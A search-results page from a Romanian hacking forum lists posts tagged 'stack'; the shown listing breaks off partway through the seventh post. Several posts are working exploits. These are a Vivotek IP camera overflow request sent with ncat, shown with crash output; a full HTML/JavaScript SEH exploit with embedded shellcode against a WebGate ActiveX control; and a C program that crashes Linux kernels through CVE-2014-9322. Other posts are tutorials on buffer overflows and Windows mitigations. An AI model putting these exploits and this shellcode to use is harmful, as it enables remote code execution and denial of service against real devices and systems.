Jump to content

Search the Community

Showing results for tags 'stack'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 8 results

  1. Many Vivotek IP cameras suffer from a remote stack overflow vulnerability. Device models include CC8160, CC8370, CC8371, CD8371, FD8166A, FD8166A, FD8166A-N, FD8167A, FD8167A, FD8167AS, FD8167AS, FD8169A, FD8169A, FD8169A, FD8169AS, FD8169AS, FD816B, FD816B, FD816BA, FD816BA, FD816C, FD816C, FD816CA, FD816CA, FD816D, FD8177, FD8179, FD8182, FD8182, FD8182-F1, FD8365A_v2, FD8367A, FD8367A, FD8369A, FD8369A, FD836B, FD836BA, FD836D, FD8377, FD8379, FD8382, FD9171, FD9181, FD9371, FD9381, FE8174_v2, FE8181_v2, FE8182, FE8374_v2, FE8381_v2, FE9181, FE9182, FE9381, FE9382, IB8367A, IB8369A, IB836B, IB836BA, IB836D, IB8377, IB8379, IB8382, IB9371, IB9381, IP8166, IP9171, IP9181, IZ9361, MD8563, MD8564, MD8565, SD9161, SD9361, SD9362, SD9363, SD9364, SD9365, SD9366, and VC8101. [STX] Subject: Vivotek IP Cameras - Remote Stack Overflow Researcher: bashis <mcw noemail eu> (September-October 2017) PoC: https://github.com/mcw0/PoC Release date: November 13, 2017 Full Disclosure: 43 days Attack Vector: Remote Authentication: Anonymous (no credentials needed) Firmware Vulnerable: Only 2017 versions affected Firmware Patched: October 2017 and higher Device Model: CC8160, CC8370, CC8371, CD8371, FD8166A, FD8166A, FD8166A-N, FD8167A, FD8167A, FD8167AS, FD8167AS, FD8169A, FD8169A, FD8169A, FD8169AS, FD8169AS, FD816B, FD816B, FD816BA, FD816BA, FD816C, FD816C, FD816CA, FD816CA, FD816D, FD8177, FD8179, FD8182, FD8182, FD8182-F1, FD8365A_v2, FD8367A, FD8367A, FD8369A, FD8369A, FD836B, FD836BA, FD836D, FD8377, FD8379, FD8382, FD9171, FD9181, FD9371, FD9381, FE8174_v2, FE8181_v2, FE8182, FE8374_v2, FE8381_v2, FE9181, FE9182, FE9381, FE9382, IB8367A, IB8369A, IB836B, IB836BA, IB836D, IB8377, IB8379, IB8382, IB9371, IB9381, IP8166, IP9171, IP9181, IZ9361, MD8563, MD8564, MD8565, SD9161, SD9361, SD9362, SD9363, SD9364, SD9365, SD9366, VC8101... and possible more Download Updated Firmware: http://www.vivotek.com/firmware/ [Timeline] October 1, 2017: Reported findings with all details to Vivotek Cybersecurity October 2, 2017: First response from Vivotek October 5, 2017: ACK of findings from Vivotek October 11, 2017: Vivotek reported first fixed Firmware October 12, 2017: After request, Vivotek provided samples of fixed Firmware October 17, 2017: Verified fixed Firmware, Vivotek thanking for the help October 30, 2017: Noticed new Firmware released, pinged to get some info about their advisory November 1, 2017: Agreed on publication November 13, 2017 November 9, 2017: Checked few release notes, none mention security fix; pinged Vivotek with the question why not. November 13, 2017: No reply from Vivotek, Full Disclosure as planned. [Details] Vivotek using modified version of Boa/0.94.14rc21, and the vulnerability has been introduced by Vivotek. The stack overflow is triggered by "PUT" or "POST" request: [PUT|POST] /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n However, the absolutely minimal request to trigger the stack overflow is weird, most probably due to quick hack: "[PUT|POST]Content-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" This allows us to insert [JUNK] with 'Good bytes' up to 9182 bytes (0x1FFF) of the request: "[PUT|POST][JUNK]Content-Length[JUNK]:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" Notes: 1. B to I = $R4-$R11; X = $PC 2. Size of request availible in $R3 at the LDMFD 3. Max request size: 9182 bytes (0x1FFF) 4. "Start with "\n" in "\n\r\n\r\n" needed to jump with 0x00xxxxxx (if not $PC will be 0x0dxxxxxx) 5. Space (0x20) after ':' in 'Content-Length:' counting as one char of the 20 bytes 6. Stack not protected with "Stack canaries" 7. Good bytes: 0x01-0x09, 0x0b-0xff; Bad bytes: 0x00, 0x0a; 8. heap: Non-executable + Non-ASLR 9. stack: Non-executable + ASLR [PoC] $ echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80 (gdb) target remote 192.168.57.20:23946 Remote debugging using 192.168.57.20:23946 0x76eb2c5c in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) bt #0 0x58585858 in ?? () #1 0x000188f4 in ?? () Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb) i reg r0 0x1 1 r1 0x47210 291344 r2 0x0 0 r3 0x75 117 r4 0x42424242 1111638594 r5 0x43434343 1128481603 r6 0x44444444 1145324612 r7 0x45454545 1162167621 r8 0x46464646 1179010630 r9 0x47474747 1195853639 r10 0x48484848 1212696648 r11 0x49494949 1229539657 r12 0x1 1 sp 0x7e92dac0 0x7e92dac0 lr 0x188f4 100596 pc 0x58585858 0x58585858 cpsr 0x60000010 1610612752 (gdb) $ echo -en "PUTContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | ncat -v 192.168.57.20 80 (gdb) target remote 192.168.57.20:23946 Remote debugging using 192.168.57.20:23946 0x76e82c5c in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x58585858 in ?? () (gdb) bt #0 0x58585858 in ?? () #1 0x000188f4 in ?? () Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb) i reg r0 0x1 1 r1 0x47210 291344 r2 0x0 0 r3 0x4f 79 r4 0x42424242 1111638594 r5 0x43434343 1128481603 r6 0x44444444 1145324612 r7 0x45454545 1162167621 r8 0x46464646 1179010630 r9 0x47474747 1195853639 r10 0x48484848 1212696648 r11 0x49494949 1229539657 r12 0x1 1 sp 0x7ec9cac0 0x7ec9cac0 lr 0x188f4 100596 pc 0x58585858 0x58585858 cpsr 0x60000010 1610612752 (gdb) Have a nice day /bashis [ETX] Source
  2. I now somebody using another techniques ..breakpoint on return address and find the ESP that..but I preferred the old school techniques. In this video we are going to see how to make a simple stack overflow on Linux. Required knowledge: - Understanding the concept behind buffer overflows. - Basic ASM and C/C++ knowledge. - Exploiting techniques.
  3. Buffer overflow is a very common and widely known software security vulnerability. It is a condition which occurs when more data is written into a block of memory (buffer) than it is allocated to hold. As buffers are created to hold a definite amount of data, the excess information stored gets overflowed to the adjacent buffers, causing overwriting or damaging the valid data which is already stored. In order to exploit buffer overflow, one should have basic knowledge about topics like stacks, CPU registers, memory allocation, etc. As it is a very vast topic in itself, in this article we will try to understand the basics of the Stack Based Buffer Overflow. First of all, we will create a simple C program and cover the basics, like how the program runs in the memory, how the function call takes place, what is the return address, etc. So let’s start with the basics. A stack is a continuous block of memory which is used to store the temporary data within your program. The stack works on a Last in First out (LIFO) basis. PUSH and POP are the two working functions in which PUSH is used to put data into the stack and POP is used to remove the data from the stack, and it grows downwards towards lower memory addresses to higher memory addresses on Intel based systems. In Intel 32 bit architecture the maximum data size would be 4 bytes, which is equal to 32 bits for each PUSH and POP operation. Basically, the stack holds following types of data of the program. Argument to the Function Calling Function Address Return Address Local Variable and couple of other things. We will see each of them in detail further in this article. Before that, let us install some tools needed for the practical session. Here, we are using the following setup. We have configured Windows XP Service Pack 2 on Virtual Machine. Immunity Debugger (We can download it by searching Google or we can by clicking on the URL which is given in the references at the end of the article.) Dev C ++ (We can download the tool by clicking the form below.) Download Note: We are assuming that you have configured the required tools and have basic knowledge about assembly language. First of all, we will start looking at the things like function call in the memory and return address etc. from the very starting stage. We have already written a simple C program in which we have defined a function which is called from the main program. The EXE file and source code of the program are given at the end of the article. We can download the EXE and the source code of the files by clicking the URL given at the end of the article. Let’s have a look at the source code of the program so that we can understand the basic concepts. As seen in the above screen shot, we have written a simple program in which we have defined some local variables; after that we have called a function with one argument value. Then, we defined the function which will print the message – “Function is called”, then we returned value 1 to the main program. After compiling the program, we will open the program with Immunity Debugger. We can open the program by clicking the file menu or dragging the .exe file into the debugger. After that, we will see the following type of code on the screen. Now, we can see four sections on the screen. Each section represents a different type of CPU processing stat. Each section is defined below. In this section, we can see the de-assemble output of the .exe file. This section gives the information about various registers and their values. We can see the various type of registers and their values in the above screen. In this section, we can see the memory dump of the program. We can see what type of data has been written by the program into the memory. We can also edit these values dynamically according to the requirement. This is the most important part: it shows the stack status of the program. If we closely look into the screen we can see ‘paused’ written in the right corner of the window. This means that after opening the program with the debugger, the debugger has paused the program, so we will have to start the program manually. Now let’s start our analysis. The first step is to identify the main function and the other functions we have defined in the program, which are then loaded into the computer memory. If we scroll down in the first area, which is the de-assemble output of the program, we can see the ASCII main function with the EXE name and another function with the assembly language code. In our case the EXE file name was First.exe so we can see the same on the screen with some extra value. In the above screenshot we have pointed to some numbers. These numbers are defined in the below section for better understanding. This is the main function in the assembly language. We can see it in the screenshot name “First.xxxxx ASCII “Main Function””. In this case, First.xxx is the name of the .exe file we have loaded into the debugger. In the left hand side, we can see the memory address according to each assembly instruction. This is basically the physical memory address of the instruction. 00401290 is the address in our case in which the program has been started. And 004012DA is the address (in our case) in the memory where the program has finished. It is the function call from the main program. This line is basically calling the function which we have defined in the C program. When we closely look at the main function call, we can see that it is calling the “First.004012D3? in which the last 8 digits are the address of the function which will be called. In the end, we can see the function loaded into the memory, which is printing the value “Function is called” through the printf function, which has been called from the program. The function has started by pushing the EBP register into the stack. In our case, the starting address of the function is “004012DE”, and the function completion address is “004012FE”. Both the addresses can be seen in the above screenshot. It is the most important part, as we will see how we can define the break point in the program. A break point helps us to freeze the program at that location and allows us to analyse things like register status, stack and frame pointer. It also allows us to change the values dynamically. So, let us create a break point just before the function call. We can set the break point by selecting the row by just clicking on it and pressing F2 for creating the break point. As shown in the above screenshot after creating the break point, the row has been highlighted. Now, we need to start the program. We can do it by hitting the F9 key. We will see some changes in the numbers on the screen. In the above screenshot we can see that the stack value has been changed and the register value has also been changed. Another interesting thing is the EIP register which holds the value at which we had set the break point. Now, we will have to use two options. Step Into Step Over Step Into: when we want to execute the next instruction after creating the break point, then we will have to use Step Into. The keyboard shortcut key for Step Into is F7. Step Over: Sometimes we do not want to get into the details of the function call, so in such situations we can use Step Over. The keyboard shortcut key for Step Over is F8. Now, we have to go to the next instruction, so press the F7 key as mentioned in the above step. Let us analyse the stack now. As shown in the above screenshot, nothing interesting is showing in window no 4, but we can see in window no 1 that the next instruction has been executed, and the next instruction address has been assigned into the EIP register in window no 2. We will execute the next instruction by pressing the F7 key. After this step, the screen will look like this: We can see that the next instruction has been executed and we can see lots of changes in the screen. First of all, we have noticed that the instruction executed controller has reached the address given in the previous call function. This is visible in window no 1. When we closely look into window no 4, at the top of the stack we can see the address 004012D4, which is the return address to the main program. It means after the function execution has completed, by using this address the counter will go to the main program and the program execution gets completed. So in this article we have learned… Analysing the Stack Creating the Break Point Analysing the Function Call and Register Status. References IMMUNITY : Knowing You're Secure https://www.owasp.org/index.php/Buffer_Overflows Buffer overflow - Wikipedia, the free encyclopedia Stack buffer overflow - Wikipedia, the free encyclopedia http://www.bloodshed.net/dev/devcpp.html Source
  4. <html> <title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability (0Day)</title> <!-- # Exploit Title: WebGate WinRDS StopSiteAllChannel Stack Overflow SEH Overwrite (0Day) # Google Dork: [if relevant] (we will automatically add these to the GHDB) # Date: 27th March, 2015 # Exploit Author: Praveen Darshanam # Vendor Homepage: http://www.webgateinc.com/wgi/eng/ # Software Link: http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36 # Version: WinRDS 2.0.8 # Tested on: Windows XP SP3 using IE/6/7/8 # CVE : 2015-2094 targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll" prototype = "Sub StopSiteAllChannel ( ByVal SiteSerialNumber As String )" progid = "WESPPLAYBACKLib.WESPPlaybackCtrl" Vulnerable Product = WinRDS 2.0.8 Software = http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36 --> <object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='ssac'> </object> <script> var buff1 = ""; var nops = ""; var buff2 = ""; for (i=0;i<128; i++) { buff1 += "B"; } nseh = "\xeb\x08PD"; //pop pop ret = 1007f2a0 (0x1007f29e) 1007f2a0 var seh = "\xa0\xf2\x07\x10"; for (i=0;i<80; i++) { nops += "\x90"; } sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(5000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++) { buff2 += "A"; } fbuff = buff1 + nseh + seh + nops + sc + buff2; ssac.StopSiteAllChannel(fbuff); </script> </html> Source
  5. /* ---------------------------------------------------------------------------------------------------- * cve-2014-9322_poc.c * * arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not * properly handle faults associated with the Stack Segment (SS) segment * register, which allows local users to gain privileges by triggering an IRET * instruction that leads to access to a GS Base address from the wrong space. * * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic. * * I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!) * More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/ * * * Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c -lpthread * * Emeric Nasi - www.sevagas.com *-----------------------------------------------------------------------------------------------------*/ // Only works on x86_64 platform #ifdef __x86_64__ /* ----------------------- Includes ----------------------------*/ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <asm/ldt.h> #include <pthread.h> #include <sys/time.h> #include <inttypes.h> #include <stdbool.h> #include <errno.h> #include <sys/user.h> /* ----------------------- definitions ----------------------------*/ #define TARGET_KERNEL_MIN "3.0.0" #define TARGET_KERNEL_MAX "3.17.4" #define EXPLOIT_NAME "cve-2014-9322" #define EXPLOIT_TYPE DOS #define FALSE_SS_BASE 0x10000UL #define MAP_SIZE 0x10000 /* ----------------------- Global variables ----------------------------*/ struct user_desc new_stack_segment; /* ----------------------- functions ----------------------------*/ /** * Creates a new segment in Local Descriptor Table */ static bool add_ldt(struct user_desc *desc, const char *name) { if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0) { return true; } else { printf("[cve_2014_9322 error]: Failed to create %s segment\n", name); printf("modify_ldt failed, %s\n", strerror(errno)); return false; } } int FLAG = 0; void * segManipulatorThread(void * none) { new_stack_segment.entry_number = 0x12; new_stack_segment.base_addr = 0x10000; new_stack_segment.limit = 0xffff; new_stack_segment.seg_32bit = 1; new_stack_segment.contents = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */ new_stack_segment.read_exec_only = 0; new_stack_segment.limit_in_pages = 0; new_stack_segment.seg_not_present = 0; new_stack_segment.useable = 0; new_stack_segment.lm = 0; // Create a new stack segment add_ldt(&new_stack_segment, "newSS"); // Wait for main thread to use new stack segment sleep(3); // Invalidate stack segment new_stack_segment.seg_not_present = 1; add_ldt(&new_stack_segment, "newSS disable"); FLAG = 1; sleep(15); return NULL; } /** * DOS poc for cve_2014_9322 vulnerability */ int main() { pthread_t thread1; uint8_t *code; printf("[cve_2014_9322]: Preparing to exploit.\n"); // map area for false SS code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); if (code != (uint8_t *) FALSE_SS_BASE) { fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE); return -1; } printf("[cve_2014_9322]: Panic!\n"); if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0) { perror("[cve_2014_9322 error]: pthread_create"); return false; } // Wait for segManipulatorThread to create new stack segment sleep(1); // Set stack segment to newly created one in segManipulatorThread asm volatile ("mov %0, %%ss;" : :"r" (0x97) ); while(FLAG == 0){}; sleep(4); return 0; } #endif // __x86_64__ Source
  6. The spree of exploits on Windows has led to the creation of a certain type of exploit protection mechanism on Windows. Protection from things like buffer overflow, heap overwrite and return originated exploits have been deployed on Windows compilers and OS. They can be either OS specific or compiler based protections. EMET can be used to apply some of these protections on Windows binaries. According to Microsoft: “The Enhanced Mitigation Experience Toolkit (EMET) is a utility that helps prevent vulnerabilities in software from being successfully exploited. EMET achieves this goal by using security mitigation technologies. These technologies function as special protections and obstacles that an exploit author must defeat to exploit software vulnerabilities. These security mitigation technologies do not guarantee that vulnerabilities cannot be exploited. However, they work to make exploitation as difficult as possible to perform.” Compiler protections included in MSVC are: /GF enable read-only string pooling /Gm[-] enable minimal rebuild /Gy[-] separate functions for linker /GS[-] enable security checks /GR[-] enable C++ RTTI /GX[-] enable C++ EH (same as /EHsc) /EHs enable C++ EH (no SEH exceptions) /EHa enable C++ EH (w/ SEH exceptions) /EHc extern "C" defaults to nothrow /Qfast_transcendentals generate inline FP intrinsics even with /fp:except /GL[-] enable link-time code generation /GA optimize for Windows Application /Ge force stack checking for all funcs /Gs[num] control stack checking calls /Gh enable _penter function call /GH enable _pexit function call /GT generate fiber-safe TLS accesses /RTC1 Enable fast checks (/RTCsu) /RTCc Convert to smaller type checks /RTCs Stack Frame runtime checking /RTCu Uninitialized local usage checks /clr[:option] compile for common language runtime, where option is: pure - produce IL-only output file (no native executable code) safe - produce IL-only verifiable output file oldSyntax - accept the Managed Extensions syntax from Visual C++ 2002/2003 initialAppDomain - enable initial AppDomain behavior of Visual C++ 2002 noAssembly - do not produce an assembly /Gd __cdecl calling convention /Gr __fastcall calling convention /Gz __stdcall calling convention /GZ Enable stack checks (/RTCs) /QIfist[-] use FIST instead of ftol() /hotpatch ensure function padding for hotpatchable images /arch:<SSE|SSE2|AVX> minimum CPU architecture requirements, one of: SSE - enable use of instructions available with SSE enabled CPUs SSE2 - enable use of instructions available with SSE2 enabled CPUs AVX - enable use of Intel(R) Advanced Vector Extensions instructions /Qimprecise_fwaits generate FWAITs only on "try" boundaries, not inside "try" /Qsafe_fp_loads generate safe FP loads So it makes exploitation difficult but does not ultimately protect against it. Stack-Based OverRun Detection (GS) This is the oldest and most famous protection available in Visual C++. The goal of the /GS compiler flag is simple: reduce the chance that maleficent code will execute correctly. The /GS option is on by default in Visual C++ 2003 and later, and it detects certain kinds of stack smash at run time. It goes about doing this by including a desultory number in a function’s stack just before the return address on the stack, and when the function returns, the function epilogue code checks this value to ascertain it has not transmuted. If the cookie, as it’s called, has been mutated, execution is halted. So GS stack cookie basically protects against tampering of return addresses. Now let’s go into detail how it works: Consider the following C code compiled using /GS parameter of Microsoft C compiler: #include void vuln() { unsigned char x[10] = {0}; int i = 0; while (i != 100) x[i++] = ‘A'; } int main(int argc, char **agrv) { vuln(); } If we compile it using MSVC switch /GS it would get the GS stack-based protection embedded. Let’s see what is added at the vuln function for GS stack protection. Stack Cookie Resides soon after Saved EBP i.e EBP-4 as shown in the IDA disassembly: As you can see in the beginning of the prologue of the function, the __security_cookie is retrieved and xored with EBP. So if the attacker had to overwrite the return address he needs to guess the __security_cookie as clearly we see that it will also get overwritten. Now let’s see how it is generated and if it contains enough randomness in order to be secure. This value is generated in ___security_init_cookie() function which looks like: ___security_init_cookie proc near ; CODE XREF: $LN26#p .text:0040267F .text:0040267F PerformanceCount= LARGE_INTEGER ptr -10h .text:0040267F SystemTimeAsFileTime= _FILETIME ptr -8 .text:0040267F .text:0040267F mov edi, edi .text:00402681 push ebp .text:00402682 mov ebp, esp .text:00402684 sub esp, 10h .text:00402687 mov eax, ___security_cookie .text:0040268C and [ebp+SystemTimeAsFileTime.dwLowDateTime], 0 .text:00402690 and [ebp+SystemTimeAsFileTime.dwHighDateTime], 0 .text:00402694 push ebx .text:00402695 push edi .text:00402696 mov edi, 0BB40E64Eh .text:0040269B mov ebx, 0FFFF0000h .text:004026A0 cmp eax, edi .text:004026A2 jz short loc_4026B1 .text:004026A4 test ebx, eax .text:004026A6 jz short loc_4026B1 .text:004026A8 not eax .text:004026AA mov dword_408004, eax .text:004026AF jmp short loc_402716 .text:004026B1 ; --------------------------------------------------------------------------- .text:004026B1 .text:004026B1 loc_4026B1: ; CODE XREF: ___security_init_cookie+23#j .text:004026B1 ; ___security_init_cookie+27#j .text:004026B1 push esi .text:004026B2 lea eax, [ebp+SystemTimeAsFileTime] .text:004026B5 push eax ; lpSystemTimeAsFileTime .text:004026B6 call ds:GetSystemTimeAsFileTime .text:004026BC mov esi, [ebp+SystemTimeAsFileTime.dwHighDateTime] .text:004026BF xor esi, [ebp+SystemTimeAsFileTime.dwLowDateTime] .text:004026C2 call ds:GetCurrentProcessId .text:004026C8 xor esi, eax .text:004026CA call ds:GetCurrentThreadId .text:004026D0 xor esi, eax .text:004026D2 call ds:GetTickCount .text:004026D8 xor esi, eax .text:004026DA lea eax, [ebp+PerformanceCount] .text:004026DD push eax ; lpPerformanceCount .text:004026DE call ds:QueryPerformanceCounter .text:004026E4 mov eax, dword ptr [ebp+PerformanceCount+4] .text:004026E7 xor eax, dword ptr [ebp+PerformanceCount] .text:004026EA xor esi, eax .text:004026EC cmp esi, edi .text:004026EE jnz short loc_4026F7 .text:004026F0 mov esi, 0BB40E64Fh .text:004026F5 jmp short loc_402707 .text:004026F7 ; --------------------------------------------------------------------------- .text:004026F7 .text:004026F7 loc_4026F7: ; CODE XREF: ___security_init_cookie+6F#j .text:004026F7 test ebx, esi .text:004026F9 jnz short loc_402707 .text:004026FB mov eax, esi .text:004026FD or eax, 4711h .text:00402702 shl eax, 10h .text:00402705 or esi, eax .text:00402707 .text:00402707 loc_402707: ; CODE XREF: ___security_init_cookie+76#j .text:00402707 ; ___security_init_cookie+7A#j .text:00402707 mov ___security_cookie, esi .text:0040270D not esi .text:0040270F mov dword_408004, esi .text:00402715 pop esi .text:00402716 .text:00402716 loc_402716: ; CODE XREF: ___security_init_cookie+30#j .text:00402716 pop edi .text:00402717 pop ebx .text:00402718 leave .text:00402719 retn .text:00402719 ___security_init_cookie endp Firstly, it will compare __security_cookie with the default value: mov edi, 0BB40E64Eh mov ebx, 0FFFF0000h And if matched it will continue to generate a random one. The random value for __security_cookie is generated as a combination of xors for time, processid, threadid, tickcount and QueryPerformanceCounter() values. And then xored and multiplied. or eax, 4711h shl eax, 10h In the epilogue of a function protected by GS stack cookie you will see a call to __security_check_cookie() function which verifies the __security_cookie, and if it is manipulated the process terminates. So done in this way before returning to the attacker controlled area which leverages ret instruction is prevented. SAFESEH SAFESEH was added from Windows XP Sp2. It is an operating system protection technique by which we can protect against SEH overwrites. This technique isn’t available on 64 bit systems, as 64 bit Windows uses a different mechanism for exception handling, which is quite similar to what is used on SAFESEH. A binary is only protected by SAFESEH only if it is explicitly mentioned on the PE header. To check the existence of that header, we can use the Dumpbin tool by Microsoft by using the following command line: dumpbin sample.exe /LOADCONFIG File Type: EXECUTABLE IMAGE Section contains the following load config: 00000048 size 0 time date stamp 0.00 Version 0 GlobalFlags Clear 0 GlobalFlags Set 0 Critical Section Default Timeout 0 Decommit Free Block Threshold 0 Decommit Total Free Threshold 00000000 Lock Prefix Table 0 Maximum Allocation Size 0 Virtual Memory Threshold 0 Process Heap Flags 0 Process Affinity Mask 0 CSD Version 0000 Reserved 00000000 Edit list 00408310 Security Cookie 00407840 Safe Exception Handler Table 3 Safe Exception Handler Count Safe Exception Handler Table Address ——– 00402390 00403FD0 00405040 When an exception occurs, th exception is transferred to the SAFESEH handler in ntdll.dll and it checks if the exception target is present in the SAFESEH list. Following is the implementation of RtlCaptureImageExceptionValues on Windows XP sp2. If the target address isn’t present in the list, then RtlCallKernel32UnhandledExceptionFilter is called to terminate the program. Source/url]
  7. Hello Rst : This is a little Course for Exploit Development for Win32 talking about stack based bof & seh Contents : Stack-Based Buffer Overflow Tutorials : <--- Part One VLC media player V 0.8.6d (Target) 1-Stack-based Buffer Overflow tutorials : Step 1: Preparing The Skeleton Exploit 2-Stack-based Buffer Overflow tutorials: Step 2 Verifying The Bug 3-Stack-based Buffer Overflow tutorials Step 3: Finding the overwrite offset. Target 4-Stack-based Buffer Overflow tutorials. Step 4 : Picking an overwrite address (JMP ESP: USER32.dll) 5-Stack-based Buffer Overflow tutorials. Step 5: Finding bad characters 6-Stack-based Buffer Overflow tutorials. Step 6 : Adding The Final Shellcode 7-Stack-based Buffer Overflow tutorials. Step 7 : Porting Exploit to Metasploit Framework 8-Stack-based Buffer Overflow tutorials. Step 8: Porting exploit to Metasploit. Seh-Based Buffer Overflow Tutorials : <--- Part Two :) Video Spirit Pro (Target) 9-SEH-based buffer overflow tutorials. Step 1: Skeleton Exploit 10-SEH-based buffer overflow tutorials. Step 2: Finding the Overwrite Offset 11-SEH-based buffer overflow tutorials. Step 3: Picking an overwrite address 12-SEH-based buffer overflow tutorials. Step 4: Finding Bad Characters 13-SEH-based buffer overflow tutorials. Step 5: 